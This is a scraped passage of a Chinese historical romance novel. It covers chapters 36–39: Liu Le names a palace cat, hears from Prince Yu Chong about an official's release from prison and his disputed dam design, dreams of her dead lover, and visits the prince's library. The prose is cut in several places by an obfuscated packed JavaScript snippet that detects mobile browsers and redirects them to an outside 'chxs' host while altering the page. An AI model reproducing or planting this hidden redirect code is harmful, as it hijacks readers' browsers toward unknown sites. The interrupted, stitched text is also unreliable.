柳乐不知何意,答道:“我不会奏琴。” “那你擅哪样,笛还是箫?” “我都不会。”柳乐摇头。 太后脸上显出一丝惊讶,旋即笑道:“我听你叫这个名字,心想你父母大概喜好音乐,有意栽培你。” 柳乐说:“我父母是喜欢,我也喜欢。不过只是耳朵喜欢罢了,可惜自己不会乐器。” “翀儿先前是很喜欢琴的。”太后说着,看向予翀。 “现在也喜欢。”予翀说,“脑袋虽不记得了,耳朵却没忘。” 太后笑道:“果然两个人是一般志趣。这个容易,回来我找几个好乐工,你们过来听。喜欢了,还叫到王府里,你们两个听得自在。” 予翀便说:“谢母后。”向太皇太后和太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天,她继续整理父亲的文稿,忽然想起那只黑猫,心中惦念不下,遂命人去找。晚饭后,一个小黄门提了只大竹篮,装了猫来。 柳乐问他名字叫李宝,忙让巧莺拿一吊钱给他,问:“这猫是谁养的?” “可能是王爷养的,看它吃饭的碗。”李宝从篮底掏出一只白瓷深盘,弯身放在桌下。瓷盆给猫作食碗久了,已经磨得失了光泽,但底上两条小金鱼背覆浓墨,尾展轻縠,像活的一样,一看即知是名贵之物。 “就它一个?” 李宝站起身,答说:“王府里就它一个,找不到和它相配的。每年闹得厉害时,给管事悄悄抱出去几天,完了还抱回来,也不知在哪儿——”他停住嘴,向自己脸上打了一下,“我这嘴粗,王妃勿怪。” 柳乐听了不好多问,“有没有给它取名儿?” “名字我们底下人不知,也不敢乱叫,提起来都是猫大人。如今它在园子里四处跑,给它留的食会吃,只不知睡在哪儿。王妃喜欢,再给它取一个名字吧。” 36. 开释和刑罚 柳乐就明白大概是晋王苏醒后忘了前事,猫也给忘了。她抱起猫,举在眼前端详了一端详,“已经是猫大人了,总不能把你再叫小。你这么神气,就叫将军吧。”猫儿喵呜叫一声。 “王妃这名儿取得好,猫儿也喜欢,它正合这种威风的名字。我去给将军拿饭来。”李宝说着告退出去,过一会儿,从厨房端来几片煮得嫩嫩的猪肝。柳乐又找出一件家常穿的半新袄儿,和巧莺两个拆拆缝缝,改成几片小被褥,把猫篮重新铺得又厚又软。 忙活了半日,再逗猫玩一会儿,晚间梳洗后,准备宽衣睡下,柳乐把篮子提到床脚边,又去抱猫,“你就睡这里可好?” 巧莺说:“还是拿去外头吧,冻不着。当心它晚上跳上床,扰了姑娘。” “没事,让它跳上来罢。”柳乐抚抚猫儿脑袋,不好意思地说,“你不知道,我总想着园子那样大,晚上一个人还有点害怕呢。” “你这里都收拾妥当了?”予翀不知何时进的屋子,在柳乐身后问了一句。 猫听到他的声音,像上回一样,一溜烟跑不见了。 柳乐也像猫似的一惊,赶快站起身。趁无人注意,巧莺便偷偷溜了出去。 柳乐看予翀罩着貂皮披风,就是前日那条,又看他的样子似乎是刚才沐浴了过来,心里便不畅快。当予翀解下披风,里面只一件深衣,她不禁叫道:“我身上不方便,夜间恐怕要起来几回,怕吵得殿下睡不安稳,请上别处歇息吧。” 予翀直直地盯了她片刻,轻笑一声:“我愿意上哪儿就上哪儿。” 他出来在六仙桌边坐下,顺手拿一只杯子倒了水喝,示意柳乐,“你也坐。” 她在桌子的另一面坐了,听予翀说:“我知道一个人,他心里头心心念念想着一位姑娘,可惜姑娘还没到手,人就死了,不然我定要劝劝他:睡上一次,也就那么回事,不至于日夜不忘。” 柳乐见他煞有介事,也就认真听着,没料到是说这种话,登时涨红了脸面,胸中愤恨难平,七窍里冒火生烟,忍不住反驳道:“那你的朋友就不用吹嘘什么真心,他哪怕有一点儿真心爱那姑娘,定然不会作此想。” “爱不爱都没用,谁教他已经死了。”一个不太愉快的微笑在予翀嘴角边闪了一下,“不过,是我多事,又何必替他不值?他可不是我的朋友,我不交那么傻的朋友。” 把玩了一会儿茶杯,予翀突然抬起头向柳乐说:“我想起来一个怪有趣的问题:你觉得计正辰是哪种人?他如今对你是念念不忘,还是不过如此呢?” 柳乐的脸腾一下又涨得通红,他惯能侮辱人,她却只能受着。 忍了又忍,方说:“计正辰与我相看两厌,故此和离,殿下问得多余了。” “那最好,我不喜欢有人惦记我的东西。”予翀说着,伸出手,整个覆住柳乐放在桌上的一只手,两根手指在她腕上揉了一揉。 柳乐猛地抽出手腕:“我今日——” “不方便。我记着呢。”予翀开怀笑起来,身子向后一靠。“我过来是告诉你,今日已将计员外郎开释了。” 柳乐一愣,旋即心中一松。终于有了结果,总算是个好消息。她轻轻舒一口气,却不知该对予翀说什么。 “怎么,高兴得不会说话了?” “谢谢。” “不必谢我。反正没查出计员外郎与铁矿一案有牵连,人不能总关着。皇上倒很不过意,特给他赐了两月的假。等过上两个月休养好了便可复职,官升一级,六部任他挑选。” “休养?”柳乐疑惑道。 “皇兄体恤,要他先在家里养好伤,薪俸照发。” “什么伤?”柳乐忍不住问,“不是说没有对他用刑?” “确实没有,要是上了刑,你以为他能挺得过?” “那……” “你大概从没进过牢房吧。”予翀冷厉的目光直射过来。 “还是不要去的好。”他紧接着笑笑,说,“你这么聪明,不去也能想到。你想,进了大牢,那些狱吏是先打你几顿,好好给你个下马威,还是愿意敬着你捧着你,将你奉为上宾,每日给你兰汤沐浴,蕙草熏香,一日三餐大鱼大肉地伺候你?有这等好事,天下人大概尽去犯罪了。” “可是,你也说没查出计员外郎犯罪。那又为何不分青红皂白将他收进监里?一个人作了恶,该受怎样的刑罚我不敢多言,可若他从没行过不义之事,却也要挨打受辱,我倒想问一问,这天底下的公理王法,莫非就是这样一团泥浆?” 予翀摇摇头:“你太天真,不曾见过世情险诈。” “我见的还不够吗?”柳乐在心中大喊。 “这是你的福气。”予翀瞟她一眼,接着说,“须知,公理王法也不是处处都能周全到。本不为要他挨打受辱,只是临时关他一关,可人世间是个污秽处,牢狱是污秽之中的污秽,天日不见的地方。世上之人,有几个不是捧高踩低,以践踏他人为乐?在那些下贱腌臜的地方尤甚,那些看守们整日呆在那里,又没别处可以耍横,高兴了踢你几脚,不高兴时就是一顿鞭子取乐,没有打死打残就是格外开恩了。” 柳乐听他如此说,必然计晨被伤得重了,着急要问个清楚。“可是计员外郎的兄长那时见到他,说他并没有遭罪,莫非是在刑部……” “哪里都一样。”予翀嗤道,“至于说外面人看不见,那就是你不知看守们的狡狯——为少些事端,等到亲人朋友来看时,也会给囚犯擦洗擦洗,换身齐全衣服,为的是将身上的伤遮一遮。家人来看他时,是坐在那里,又不起身走动,只要嘴巴舌头还利索,你便当他还是个囫囵人儿。你问他在里头好不好,他又怎敢说抱怨的话,回头再领一顿好打呢?” “反正,任你怎样像棵水芹菜似的人,进了牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894908|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也得变成寒葅酸齑。”予翀抬起手,三个手指尖互相一碾,下了结论。 柳乐哆嗦了一下。他轻飘飘的话语像冰锥子一样扎在她心上,令她遍体生寒。 “我把你吓坏了。”予翀向她脸上看一眼,忽地笑出声,“柳乐啊柳乐,你真是天真得可以。别人说的话你这样容易就信了?计衔山又没给关进去,不看僧面也看佛面,有个在位官员的父亲,人家敢随意作践计员外郎?就不怕有朝一日计家又翻了身,比如像今日。再说钱能通神,计家使过不少银子吧。忙着数钱,谁还打人?当然,牢狱里人杂,有一时照应不到处,难免让他挂点皮肉小伤,那都不算什么。不过计正辰一路春风,没栽过这样的跟头,恐怕难免心意消沉,何况又……总得一段时日缓缓。” 柳乐知道计晨心性豁达刚毅,不会一蹶不振。可予翀关于牢狱那些话还是令她分外难受。 她默不作声坐了一会儿,又问:“那一万两银子查出没有,总是有人陷害他。” “拿出一万两银子,就为陷害他,这人和他结的仇可真够深的。”予翀笑道。“——没查出来。你要是知道谁与他有仇,可以让计正辰去递状子;若不知,就当真是从土里挖出来的罢。” 柳乐不语。 予翀又开口,打断了她的出神:“你上回说没给过计正辰机会,没人听他自辩,这话说得不对。我去打听了打听,其实案子审得很公允,都是照章审理,一点儿藏掖没有。从荥阳押来的几个人与计员外郎对过证,他们咬定与计正辰合谋,证据是他们用的土石和计正辰所绘的工程图样相符,计正辰是故意做出这样一个少用石料的设计,多采出的矿石就可以挪为它用。只要计正辰解释清楚他设计这件工程为何用石少,便可脱罪。可是他却没有,你猜是为什么?” 为什么?柳乐猜不出。他怎么可能不为自己辩解? “或许他确实以为自己的设计有问题?”她想了想说。 “这么说他是谦虚。嗯,在这个关头还首先反躬自省,计员外郎真是令人佩服。”予翀笑道。 “他肯定不是有意那样设计,可能之前有个关节没想到,后来才发现是自己算错了,故此不好说明。” “你的意思是他进了监牢才茅塞顿开?恰恰相反,他的表现倒像是突然智穷才尽了。他只能一遍遍重复那些在纸上写着画着的东西,至于为什么那么写那么画,他一个字也说不出。” 柳乐呆呆盯着予翀。 他蓦地笑开了:“好了,咱们两个谈论别人的事,大可以直截了当。你认为有没有可能答案明摆着——他说不清楚,因为他根本对建造水坝一窍不通。” “胡说!”柳乐大声驳斥。 予翀也不见怪,仍是笑一笑:“我问你,这回之前,他去黄河边上实地看过没有?” “当然去过。” “是游山玩水去了?待了几天?” 37. 水坝与恶梦 柳乐语塞。有一年,计晨去她家里说,他应禹冲之邀,准备去中原一带游玩游玩。他回来时,又带了土仪送来。不过她不记得计晨在那儿待了多久,可能有大半个月吧。 她轻声道:“他去过黄河。他还研究过很多河工书籍。” “没听说过坐在书房里治河的。河水有万般变化,他有没有见过一年四季不同时候的河道宽窄、水流大小?纸上谈兵都比他来得牢靠。” 总比你空口嘲笑人强,柳乐暗中想。她马上说:“即便是他不懂,但他绘的图纸也请部里经验多的几位大人瞧过,并没有瞧出不妥。” “那又如何?”予翀不屑地哼一声,“瞧不出,只能说明他们是一帮老废物。” “你是说,大坝不能按计员外郎构想的那样建?” “水坝还照建,不过肯定是用不着计正辰插手了。” “可是……”柳乐刚说两个字,又改作缄口不语。她的心里乱糟糟的,一时顾不得再和予翀争论。 她本以为只是建造方捣鬼,故意少用料,却没想到连计晨的整个设计都是错的。或许是予翀抹黑计晨,口中的话未必可全信。但是,计晨那么久不能脱罪,真是因为他发觉手中是一沓废纸,所以辩无可辩?不可能。计晴都说:“哥哥花费了两三年的工夫,整日在书房里写写画画。”他不可能只是闭门造车,更不可能对河坝建筑一无所知。当初接了差事,临走时,他还踌躇满志地说:“你当我为何要进工部?我等的就是这一日。” 又或者是…… “看那儿……”禹冲抬手,向身后宽阔的河流激昂地一指,“有朝一日,我要在那儿建起一座大坝。” 不对,这不是她亲耳听见的话,她自己也压根不曾见过黄河。 可其人其声却又真真切切。载着泥沙的黄色浪涛缓缓向前,禹冲伸得直直的手臂,他脸上骄傲的神情,她全部记得一清二楚。——是发生在梦中吗? 或许源自他在信里的某句话。他在信里是怎么说的?她拼命回忆。 “我整日看的是黄河,整日想的亦是黄河。除了想你。” 那时他在黄河沿岸为人建造水渠,收了工,他便借主人家的马骑到河滩边,坐下看那大河。日落后,他躺下,望着天上的星斗与月亮升起。 河流有多么好看?读到信时,她还撇了撇嘴。可是禹冲一回来,她便和他两个去了长江边,足看了一个时辰都不想走。 他说:“黄河上该建几座坝,能少些水患。我已经瞅中一个合适的地方,大致有个主意了。” “什么主意?”她问,并没有转过脸。江水似乎有一种奇异的力量,紧紧拽住她的目光。 “才刚画一张草图,还得细想想。等好了再让你瞧,省得你说我事先吹牛。” “我可从没这样说过。” 他问:“若有一日,我真的建好一座大坝,你怎样说?” “不害臊,要人夸你么?”她扭头看着他笑。迟一会儿,她又去望着大江了,还是说了出来,“到那一天,我会说:不枉你姓了一个禹字。” 只此一次,他们之间提到水坝,但她相信,他肯定没丢下那个想法。他与计晨在一起时,或许说得更多更细。他们是志同道合的朋友,有同样的热情和抱负毫不奇怪。 莫非…… 柳乐恨不得立即见到计晨,向他问个究竟。 予翀笑道:“好了,这些事自有人料理,不必你我发愁。时候不早了,我瞧你刚才就准备安歇。”他起身,率先向里屋走去。 柳乐一惊,赶忙收起思绪。还是赶在他前面上床,把一床被子直拽到耳朵根,连下巴都盖住了,紧紧裹在身上,端端正正地躺下。身边多一个人,她实在别扭得要命,听见他的呼吸声她感到别扭,也不愿自己的呼吸让他听见。她屏着气,浑身上下无处不紧绷,无处不累,甚至指头尖都酸疼起来。不知煎熬了多久,只听予翀忽然掀开被子,披衣下床,听脚步是径自出门而去了。柳乐这才舒一口气,把被子松了松,照往日习惯露出半个肩膀头,渐渐入了梦乡。 然而乱梦不断。最后一个梦中,她站在大江岸边,一座宏伟的大坝屹立于江上。禹冲拉着她的手,“你瞧,是我建的。” 她惊叹地说不出话。突然,从水中冒出一个长发遮面的女鬼,惨白的手指指着禹冲,自她身后,轰隆隆的雷声响起。原来那是巨浪的咆哮,汹涌的浪头铺天袭来,转瞬间吞噬了水坝。 恶浪翻卷,从无底的漩涡中传来禹冲的喊声:“柳乐!柳乐!” “禹冲——”她大叫,可是接连的浪涛涌入口鼻,使她呼吸不得。 终于,她从河滩的黄泥上疲惫地挣起来,放眼四望,风歇浪平,只有一列溃败、凄惨、零落不堪的队伍,拖着恹恹的步子从旁经过,她拔出脚,跌跌撞撞追上去,因为禹冲也在其中:他双颊凹陷,嘴唇肿胀,满身尽是发黑的伤痕,但仍被两个狱吏轮番用鞭子抽打。她不敢多看,可是鞭声凌厉,不断传入她的耳朵,每一鞭都像在撕扯她身上的皮肉。 “疼——” “以后不会让你疼。” 是谁在说话,声音这般温柔?于是,哗哗的水流、冰冷的泥泞、队伍、行刑的人都退去了,柳乐轻轻动了动,感到自己像只小动物,正躺在暖和、隐蔽的窝里。她真庆幸刚才的一切只是梦,可这时她也没完全醒来,却隐隐知道自己快要醒了,为了不离开现在的这个梦,她缩了缩身子。恍惚了一会儿,她才发现是予翀不知何时又回来了,躺在她的身边。 “哪儿,是这里疼?”一只手掌伸进被中,摸索着覆上她的小腹,轻轻地揉。 “嗯。”柳乐不愿多说话,怕他发现自己嗓音哽咽。她转向一边,身子蜷了蜷。那只手追住不放,手臂绕上来,从身后抱住她。 “别怕,从今往后,我总是陪着你。” 话音中带着浓浓的睡意,大概他也在梦中。可是手始终不停下,缓缓地、贴住她转动,柳乐感到肚腹暖融融的,继而扩散至全身,她好像卧在云里一般,不觉睡了过去。 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“瞎想!哪来丢命的话,还有我呢。”柳乐在她肩上一拍,“你先别紧张,事情不急,不是要一二日内就做成,咱们也是走一步瞧一步。 “譬如,等上几日,你就说为我买几样东西,看看能不能出府,若不能,再换别的路;若能,你也就真的只是买东西,三五次之后,进进出出都成家常便饭了,这时候再设法往计家送信。这中间,我也出几次门,肯定是有好些人跟着,但也没关系,我试试看能不能寻出空子。僻静人少处是定然不行,就要那热闹的,各样大会小会,我都去。趟熟了路,就可以与晨大哥见面。跟从的人瞧见了,为了王府的脸面,他们断不会当场乱嚷嚷,再说,我与认识的人讲两句话,不是很寻常么,回头我再对王爷解释,多一半能周旋过去。即便没人瞧见,王爷不发问,我也会主动与他说:我今天上街碰见了计公子,停下讲了几句话,如何如何。这一来,就不怕给日后落下把柄。” 巧莺还长吁短叹,隐隐觉得不妥,可是知道柳乐不好劝,只好答应。两人计议已定,只待实施,无需赘言。 38. 倒影和书房 王府花园景色秀美,柳乐又是初来乍到,兴头正高,适逢这两日天气好,她每天早上下午都提着小篮去走一圈,一路喂鱼喂鸟,赏花赏木。 这回巧莺另有事情没伴着她,她独自顺着水边走。那白云池的水流下来,在地势低处聚成一个更大的池子,叫做浣霞湖,池边有座凉亭,柳乐走到此,倚栏抱膝坐了,就看了一回鱼。 一时食料投尽,鱼儿摇头摆尾地散去,水鸟相依相偎地游远,碎波摇摇荡荡,晃着晃着渐渐平整了,水中像有张揉皱了的画儿,一点点舒展开,原是一幅工笔楼台。柳乐探出头去,画上亭子里的人亦向她探来,头上珠钗、耳边玉环都瞧得分明。柳乐朝她笑笑,再往旁边一瞥,画里,亭子外头,俨然立着玉树般一个人。 柳乐看见影子,心头一抖,不知是梦是醒,定睛再瞧,方省过来,急忙站起身。 予翀走入亭中,笑着问她:“你喜欢和鱼儿讲话?” 柳乐也不知他在那儿站了多久,怪没意思的,说:“我自言自语罢了,我晓得它们听不懂。” “它们听得懂,明日还等你,你若不来,它们定要失望。”予翀说着坐下了,指指柳乐刚刚坐的位置,“不会我来了你便要走?” 这两日柳乐几乎没和他打过照面,虽说予翀晚间和她睡在一张床上——早晨看见拉开的被子就知道——可他上床晚,起床早,所以两人碰不着。这时候遇见,柳乐不免尴尴尬尬的,不过予翀异常和气,神情像是要赔之前的不是,她亦不好拿冷脸对他。 “我本来是要再坐一会儿。”柳乐坐下,搭讪着问,“这里既然叫浣霞,是不是要等到落日时更好看?”刚出口,她猛想起予翀前日说过关于黄昏的话,怕勾起他心中不快,急忙要岔开。 可是予翀要么已把那话忘了,要么就是没留意,“那咱们等等看?”他立即回答。柳乐觉得他挪了挪身子,坐得更近了些,实则只是他脸上的笑意加深了。 柳乐瞧着他出了神。他微笑的侧脸比水里映出的分明得多,可是一瞬间,她觉得他仍然是个影子,还没有水里那个倒影显得真;而在她眼前清晰浮现出的却是另一张面孔。——其实两个人并不像:禹冲的笑又暖又亮,目光火焰一样热烈、灼人;这个人的眼睛如星空般深邃,可是其中总是带着一丝忧伤。反正,从性子到相貌,这是两个很不同的人,那么,刚才怎会看错了,是不是身形像? 这倒是真的。他们站在那儿的时候,都让她想起林子里野生野长、挺拔直立的一棵树。 柳乐骤然一惊,差点儿跃起身,心里的震动比刚才尤甚:她这是怎么了?怎么又去想禹冲,还把他与别人作比?无论如何,死者为大,不该对禹冲不恭,又不能再去怪他,她只能恨身边这一个。 “我瞧你带了好些书来,每天都在用功?”隔了一会儿,予翀问,语调好像在对一个小孩说话,觉得怪好玩似的,但并不是挖苦人。 柳乐正激动不安,巴不得讲些能使自己定下心的话,不由就告诉他说:“我父亲先前教人如何作文章,积下好些心得,我打算整理整理,加上一些示例,我想,或许能做成一本书。” “对,对,太好了,亏你想到,早该如此。这下可真要洛阳纸贵了。”予翀满口赞同,“若需要帮忙——” “不需要,我父亲都写出来了,我不过誊抄誊抄,排个顺序,不费什么。”柳乐忙说。 “我不是说你做不了。——不必太赶着,我想你也愿意做出一本真正的好书来。你可以用这里的书房,我知道岳父大人藏书很多,不过这儿收着些善本,确实不大容易见着,你去瞧瞧,有没有用得上的。” 柳乐听见,有几分动心,客气道:“多谢殿下,我在方便时去。” “你想去就去,任何时候都方便。若嫌我碍事,我让给你。”予翀笑瞅着她,看她低下头,才说,“我最近白天都不在。” 柳乐应了,予翀又问:“光念书怕太累,出来走走也好,你平日还喜欢做什么?” “我不累。”柳乐摇头,心想自己喜欢做什么,端看和谁在一起——给父亲研墨,陪母亲听戏,帮嫂子算账,和妹妹绘衣服花样子,和侄儿捶丸,这些事都有趣极了,在王府里一样也做不到。 “你在这儿觉得闷?”予翀拿眼看定了她,“你想做什么,也可以吩咐管家,让他安排。” “不闷,只是不想总是闲着。”柳乐看见他这回真的稍稍向她倾过身,急急忙忙说,“我想做真正的事。” “真正的事?” “不止是对自己,更是对别人有用的事。”柳乐解释。这是谢音徵的话,她不知怎的说了说来,脸涨得飞红。 “这正是我要请你帮我的。”予翀笑了,“有件事要烦你,正不知该如何启口。这样看来,你肯帮忙?” 柳乐踌躇:“殿下的事,我不知能不能做好。” “不单是我的事。是真正的事,不是只为自己。你当然能做好,不急,一步一步来,我也正让人准备,过几日告诉你。” 他的语调温和又严肃,柳乐看见他眼里闪着愉快的光,忽地想:或许谢姐姐就是见过他这副样子。 两个人互相看了好一会儿。柳乐垂下眼睛,拘束地坐着。 “你喜欢这儿吗?”她听见予翀问,知道他指的是整个王府,轻轻点了点头。 “过几日恐怕会有客人来,我们也去别人家,这些事也怪累人的。”予翀道歉似的说。 柳乐趁便问:“我的丫环能不能出门去?” “巧莺?当然了。你去哪儿都可以带着她。” “不是,我有时候想买些许零碎小物,怕别人办不妥当,需打发她出门去买。” “需要什么,让巧莺对管家说一声就行。” “不用那么麻烦,巧莺自己也愿意上街走走。” “好,不是把你们关在这儿的意思。随时可以出去。” “跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916318|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一起还罢了,要是她一个人,后头也有侍卫,巧莺那丫头不大习惯,她怪不自在……” “她不肯,自己出去也可以。给她一块腰牌,有事时只管拿出来。” . 浣霞湖边、和予翀说过话的第二日,柳乐整理书稿时,想找本五代词,因手边的不全,想起他昨日的话,便要去书房看看。 书房在王府东边,院子叫梧桐、银杏、松、榆等大树森森掩了,进去一瞧,满院里既清凉,又敞阔、亮堂,朝南三间大屋,东面一间厢房,一只小亭,西面两间厢房;窗下低栽芭蕉,墙边疏疏插着一二丛细竹。 明堂门前,一个红袄、蓝背心的丫头坐在小板凳上,低着脑袋,脑后的双髻一动一动,再一瞧,嘴巴也是一动一动,正在念一本书。 巧莺上前说:“还用功呢,王妃来了。” 那丫环慌张地抬头一瞧,急忙将膝上的书放到一边,起身行礼。柳乐见是一个圆脸盘的女孩,个子倒是不矮,但是满面稚气,至多十六七岁的模样,难怪巧莺说没法唤姐姐。 “小杏呢?”巧莺问。 柳乐便知这个是小蝉。 小蝉答:“今日该她上学去了。” “去哪儿上学?”柳乐奇道。 “王爷令我们——奴婢和小杏两个原是杂事上的,王爷说我们以后在书房,一字不识不行,要我们每日上午去账房常先生那里学两个时辰,单日她去,双日奴婢去。”小蝉匆匆解释了。“奴婢看看有人烧水没有,给王妃沏茶。” “行了,我去就行。王妃要找些书,还得问你呢。”巧莺拦了她,自己扭身跑走。 小蝉忙开门请柳乐进屋。北屋一排三间连通,作了一个大大的书室,壁上悬着古人的几条书、几幅画,其余陈设却简单:除却窗下一张宽案,一眼望去,全是一架一架的书。 “呀,这可找到什么时辰去。”柳乐又喜又愁,失声笑道。 小蝉惊惶失措地说:“奴婢学得慢,字认得不多,恐怕帮不了王妃。” “没事,我自己找,只是我可能会翻乱,需要你帮我整一整。”柳乐宽慰她,一架一架地挨着瞧,一面又问,“如今你们学会多少了?” 小蝉偷偷瞅了柳乐几眼,看她和气,心里不怕了,回答说:“奴婢连三字经还没认全,小杏姐比奴婢学得快,她都读几篇诗经上的了,听着怎么那样好听——‘陟彼高冈,我马玄黄。我姑酌彼兕觥,维以不永伤。①’”她怕记得不对,怯怯地、小心翼翼地念出来,还是怕记得不对,又要干脆一气念完,结果倒念得不慢,一字一字清清楚楚,又像小鸟唱歌一样流利。说完,她红着脸笑了笑。 柳乐定住脚,转身看她:“你念得真好听。” 小蝉连耳朵根、脖子全红了,摆着手说:“奴婢胡乱背的,一点儿都不懂意思。” “我姑酌彼兕觥,维以不永伤。”柳乐低头念了一遍,抬起头对小婵说,“这句是说思念。” 39. 医书和参本 “思念,原来诗里还可以说思念。”小蝉恍然大悟。 柳乐微微地笑了:“诗里什么都可以说。——思念,说得很多。” “奴婢明白了,”小蝉呆呆望着她,“是不是因为思念很美。” “不一定。若你思念一个人,有一天还能见到他,那样才称得上美……” 小蝉慌里慌张说:“奴婢瞎说的,奴婢太笨了,懂得太少。” “你家离京城不远吧?” “奴婢不记得家在哪儿。” “啊——”柳乐轻叹一声。 小蝉越发着慌:“奴婢在宫里、在这儿都很好,很喜欢,——更喜欢这儿,像在家里。” 柳乐笑起来:“你看,古人一字便可称师,我给你讲这句,足可算半个老师了吧?” “奴婢不敢。”小蝉忙说。 “咦,我认你做学生,你不答应,那可不太谦虚。”柳乐玩笑道。 小蝉嚅嚅不知如何答。 “以后莫再说什么奴婢不奴婢的。你跟小杏说,她也一样,当我的学生可以,将来你们学好了,做我的老师也使得。只是咱们正在谈诗论文,突然冒出来一个‘奴婢’,那就太煞风景了,我可不答应。” 小蝉惊讶地看着柳乐,半懂不懂,不敢答话。 “你会写字不会?”柳乐问。 “能写百十个字,只是太难看。” “学了多久?这就够厉害了,多练练,慢慢就越写越好。” “学了半年多了。”小蝉捏着衣角,“奴婢……我怕再学几年也学不会,还是伺候不好王爷王妃。” 柳乐认真地对她说:“我听你话语清楚明了,可见念书有用。不过书里并不教怎样伺候人,若为这个,就不要你念书了。书里教的是——等你念懂了诗经,自然明白。也不必着急,过半年再瞧,肯定又不一样了。你们很聪明,学得很快,也别怕问,问了才有长进,将来若有老师解不了的,告诉我,我为你们请更高明的老师。” “多谢王妃。”小蝉的圆脸一下子放出光来,像快熟的红果一样可爱。柳乐见她不好意思,又转过身去在架上找书。 转了一圈,她大概瞧明白了:王爷喜欢、或是贵重的书,放在距离桌案近、显眼的地方,其余书目按类别、年代大致编排,并不难找。她又回过头来到第一只架子前,这上面似乎都是些古籍,不知是不是予翀所说的“善本”。她抽一本来看,竟是部《神农本草经》,往旁边又翻了翻,谁知这一架上全是医书、药典。 柳乐不禁好奇:“王爷研究医术?” “我不知道。”小蝉凑近过来。适逢柳乐正翻到一张人体经络图,她一眼瞄见,呼道,“我晓得了,——王爷生病时,有位汤太医一直住在府里,有时他给王爷施针,这些定是他看的书。”刚说完,她一下捂住嘴,不安地瞅一眼柳乐。 柳乐心想:这位王爷不准别人谈论他的病,倒也没必要这般忌讳吧?横竖她一点儿也不感兴趣,便装出一副没留神的样子,走到另一架书前。 这架便是诗文类的珍本善本了,有些书目柳乐听父亲提过,当时他直叹无缘一见,没想到这儿都有。柳乐大喜过望,扭头问小蝉:“我把它们借走看行不行?” “当然行。”小蝉忙答,又说,“王妃问我,我可不敢当。” “有什么不敢当,管书房,不就是管着这些书嘛。” 小蝉羞涩地笑了:“王妃找到想要的书就好,说什么借不借的话。” “那我可不还了。”柳乐笑道,“你现在还没经过,将来有了自己的藏书就知道:银钱都好借,书可不好借。反正若这些都是我的,我可不许它们离开书房一步——都是很好很好的书,要是被别人带走,许就再不放它回来了。” “王妃又不是别人。” “话不是这么说,”柳乐摇头,一面挑书,一面与小蝉说话逗趣,“要论到心爱之物,谁都是别人。” “王妃这样喜欢,不如就让王妃带走。”小蝉胆子也渐渐大了,话多起来,“王爷不大过来,便是来了,也不看这些书,王爷大概把书都记在心里了,他在这儿只临帖写字。” “临帖?”柳乐诧异,“我还不知他爱好书法。” “也不是。王爷是拿自己先前写的字临,一开始他拿不稳笔,后来写多了,好了之后就不写了。”小蝉说着说着,不安地住了嘴。 原来还是病后康复的事,柳乐也不追问,心里却生出些许好奇:予翀放着这样好的书房不用,整日在外头做什么?她先前认为,像他这样呆在京中的王爷便是纨绔做到了顶,只管闲荡游耍,优哉优哉、饱食终日便了,近来隐约觉出并非如此,至少这间书房根本就不是纨绔的书房。这么说他也有正事忙活,说不定还是国家大事,好比每日去衙门上值。他办得了什么国家大事?柳乐有些不服,暗地里撇了撇嘴。 屋内安静了一会儿,小蝉说:“我拿茶壶去给巧莺姐姐。”说着,走到案旁一只亮格柜旁。亮格上只孤零零立着一只梅子青蟠龙盖瓶,小蝉拉开下面柜门,端出一只托盘,连同上面的茶具放在格上。 柳乐无意中转过头,一件很熟悉的东西落入眼中。她毫不迟疑地走上前抓起来,千真万确,正是她的蓝茶杯。杯上的蓝色总是令她愉快,令她想起从小姑娘变为大姑娘的几年——无拘无束、梦一般的时日;可是如今……她好像又坐在了那间小屋中,紧张地听着,听见王爷作难人,焦急地跑出去,正看见他手里捏着杯子,一副趾高气昂的嘴脸。旧仇宿怨一下子全勾了出来,柳乐登时来气,想把杯子砸在地上才好。 小蝉直盯着柳乐的手,颤声说:“这是王爷喝茶的杯子。我给王妃另拿只好的。” 柳乐见她紧张,便将杯子放下了。 小蝉忙不迭捧起它,小心地放回在柜里,关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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予翀答:“臣弟生来不是嘻嘻呵呵的模样,皇兄也来挑眼。” 